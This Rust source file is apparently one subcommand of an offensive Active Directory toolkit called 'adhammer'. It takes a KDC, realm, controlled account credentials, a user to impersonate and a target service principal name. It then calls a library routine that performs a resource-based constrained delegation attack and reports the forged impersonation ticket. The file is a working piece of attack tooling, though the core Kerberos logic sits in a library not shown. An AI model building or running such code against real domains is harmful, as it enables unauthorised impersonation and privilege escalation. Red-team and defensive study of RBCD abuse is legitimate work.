use anyhow::Result;
use clap::Parser;
#[derive(Parser)]
pub(crate) struct RbcdArgs {
#[arg(long)]
pub kdc: String,
#[arg(long)]
pub realm: String,
#[arg(long)]
pub account: String,
#[arg(long, default_value = "")]
pub account_password: adhammer_core::SecretString,
#[arg(long)]
pub impersonate: String,
#[arg(long)]
pub target_spn: String,
}
pub(crate) async fn rbcd(mut a: RbcdArgs) -> Result<()> {
a.account_password = crate::resolve_secret(&a.account_password, "ADHAMMER_PASSWORD")?;
let etype = adhammer_kerberos::rbcd_impersonate(
&a.account,
&a.account_password,
&a.realm,
&a.kdc,
&a.impersonate,
&a.target_spn,
)
.await?;
println!(
"[+] got service ticket for {} as {} (enc-part etype {etype})",
a.target_spn, a.impersonate
);
println!(" RBCD chain succeeded — impersonation ticket obtained.");
Ok(())
}